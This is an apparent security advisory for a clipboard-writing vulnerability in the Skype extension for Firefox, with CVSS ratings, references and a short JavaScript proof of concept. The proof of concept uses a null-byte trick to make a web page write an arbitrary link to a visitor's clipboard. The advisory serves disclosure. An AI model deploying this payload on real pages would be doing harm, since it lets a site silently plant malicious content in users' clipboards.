Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability

2008.12.23
Credit: irk4z
Risk: Low
Local: No
Remote: Yes


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

<!--------------------------------------------------------------------------- Skype extension for Firefox BETA 2.2.0.95 Clipboard Writing Vulnerability PoC download: https://developer.skype.com/SkypeToolbars Author: irk4z[at]yahoo.pl homepage: http://irk4z.wordpress.com/ greets: all friends ----------------------------------------------------------------------------> <a href="#" onclick="check_it();" >test it!</a> <script type="text/javascript"> function copy_to_clipboard( text ){ if (skype_tool) { var copy_it = text + '\0+'; //use null byte to copy value, because '+' char must be in string skype_tool.copy_num( copy_it ); } } function check_it(){ //copy_to_clipboard('malicious text!!!!!!!!!!!\n\n\n!!'); //copy_to_clipboard('http://irk4z.wordpress.com/'); copy_to_clipboard('http://malicious.link.to.bad.page/'); alert('Done! Check your clipboard!'); } </script>

References:

http://xforce.iss.net/xforce/xfdb/45739
http://www.securityfocus.com/bid/31613
http://www.milw0rm.com/exploits/6690


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